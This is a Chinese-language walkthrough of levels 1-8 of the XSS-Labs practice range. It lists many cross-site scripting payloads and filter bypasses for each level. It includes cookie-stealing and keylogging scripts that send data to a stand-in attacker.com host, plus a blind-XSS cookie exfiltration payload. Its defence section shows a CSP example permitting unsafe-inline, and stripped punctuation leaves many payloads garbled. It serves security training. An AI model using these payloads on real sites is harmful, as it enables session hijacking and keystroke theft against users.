1. XSS-Labs靶场通关实战指南1-8关最近在安全圈里xss-labs这个靶场练习平台突然火了起来。作为Web安全领域的经典漏洞类型XSS跨站脚本攻击一直是渗透测试和CTF比赛中的常客。这个靶场用层层递进的方式完美还原了各种真实场景下的XSS漏洞形态。今天我就带大家手把手通关前8关顺便分享些实战中总结的骚操作。先说说为什么推荐这个靶场不同于DVWA那种集成化环境xss-labs每个关卡都针对特定过滤场景设计。从最基础的未过滤注入到各种绕过技巧的实战应用相当于把XSS漏洞拆解成了标准化教学模块。下面进入正题我会逐关分析漏洞原理和至少三种通关姿势。1.1 实验环境准备在开始之前需要准备好以下环境浏览器推荐Chrome最新版Burp Suite社区版HackBar插件非必需但很方便本地搭建的xss-labs靶场重要提示所有实验请在本地或授权环境进行切勿对未授权网站测试靶场搭建建议使用Docker一键部署docker pull vulhub/xss-labs docker run -d -p 8080:80 vulhub/xss-labs2. 基础注入关卡分析1-3关2.1 第一关无防护的反射型XSS这关是经典的反射型XSS场景后端没有任何过滤。在输入框直接提交scriptalert(1)/script就能触发弹窗。但实战中我们更关注如何利用这种漏洞利用方式1窃取Cookiescriptdocument.locationhttp://attacker.com/steal?cookiedocument.cookie/script利用方式2键盘记录script document.onkeypress function(e) { new Image().src http://attacker.com/log?key e.key; } /script绕过技巧使用HTML事件属性img srcx onerroralert(1)SVG标签注入svg/onloadalert(1)2.2 第二关属性值注入这关出现在HTML标签属性中比如input typetext value用户输入突破方案闭合属性并新建事件 onclickalert(1)利用自动触发事件 onmouseoveralert(1)特殊符号绕过 autofocus onfocusalert(1) x实战经验当发现输入出现在属性值时优先尝试闭合引号。现代浏览器会自动补全引号所以不一定需要完全闭合。2.3 第三关HTML实体编码防御这关后端对尖括号做了编码但引号可以正常使用。此时需要检查哪些字符被编码寻找未过滤的上下文有效payload onmouseoveralert(1)或者利用JavaScript伪协议javascript:alert(1)3. 中级过滤绕过4-6关3.1 第四关关键词过滤这关过滤了script、on等关键词。可以尝试大小写混淆ScRiptalert(1)/sCript嵌套标签scrscriptiptalert(1)/scriptHTML实体编码scriptalert(1)/script进阶技巧使用罕见的HTML标签details/open/ontogglealert(1)CSS表达式IEdiv stylexss:expression(alert(1))3.2 第五关href属性注入这关需要注入到a标签的href属性中。有效方案javascript:alert(1)或者利用数据协议data:text/html,scriptalert(1)/script特殊场景绕过当javascript:被过滤时可以尝试javascrip#x74;:alert(1)或者利用URL编码%6a%61%76%61%73%63%72%69%70%74%3a%61%6c%65%72%74%28%31%293.3 第六关DOM型XSS这关是典型的DOM型漏洞前端JavaScript直接操作DOMdocument.write(img srcuserInput);解决方案闭合标签注入 onerroralert(1)利用DOM特性img srcx onerroralert(1)4. 高级绕过技术7-8关4.1 第七关多重过滤防御这关同时过滤了尖括号script等关键词事件处理属性突破方案使用HTML5新标签videosource onerroralert(1)编码混淆iframe srcdoclt;scriptgt;alert(1)lt;/scriptgt;利用CSSdiv styleanimation:xss 1s;keyframes xss{from{background-image:url(javascript:alert(1))}}4.2 第八关JavaScript上下文注入这关出现在JS代码中var userInput 可控点; document.write(userInput);利用方式闭合字符串执行代码;alert(1);//模板字符串注入${alert(1)}Unicode转义\u0061\u006c\u0065\u0072\u0074(1)5. 防御方案与实战建议5.1 安全开发规范输入输出编码HTML实体编码lt;gt;JavaScript编码\x3cscript\x3eURL编码%3Cscript%3ECSP策略示例Content-Security-Policy: default-src self; script-src unsafe-inline现代框架防护React的JSX自动转义Vue的v-html指令过滤5.2 渗透测试技巧测试流程定位所有输入点判断输出上下文尝试基础payload逐步增加绕过技巧常用工具Burp Suite的Decoder模块OWASP ZAP的FuzzerXSS Hunter平台盲测payloadimg srcx onerrorthis.srchttp://attacker.com/?cookiedocument.cookie6. 常见问题排查6.1 Payload不生效的可能原因浏览器XSS防护禁用Chrome的XSS Auditor使用Firefox测试内容安全策略拦截检查Console报错使用CSP绕过技术字符编码问题尝试不同编码格式使用HTML实体替代6.2 实战中的特殊场景文件上传XSS上传SVG文件svg onloadalert(1)PDF内嵌JS/JavaScript(alert(1))HTTP头注入Location: javascript:alert(1)WebSocket XSSnew WebSocket(ws://evil.com/attack)在真实渗透测试中遇到过滤不要轻易放弃。我曾在某次项目中通过组合使用HTML5的details标签和CSS动画成功绕过了7层过滤防护。关键是要理解每一层防御的运作原理然后找到其检测逻辑中的盲区。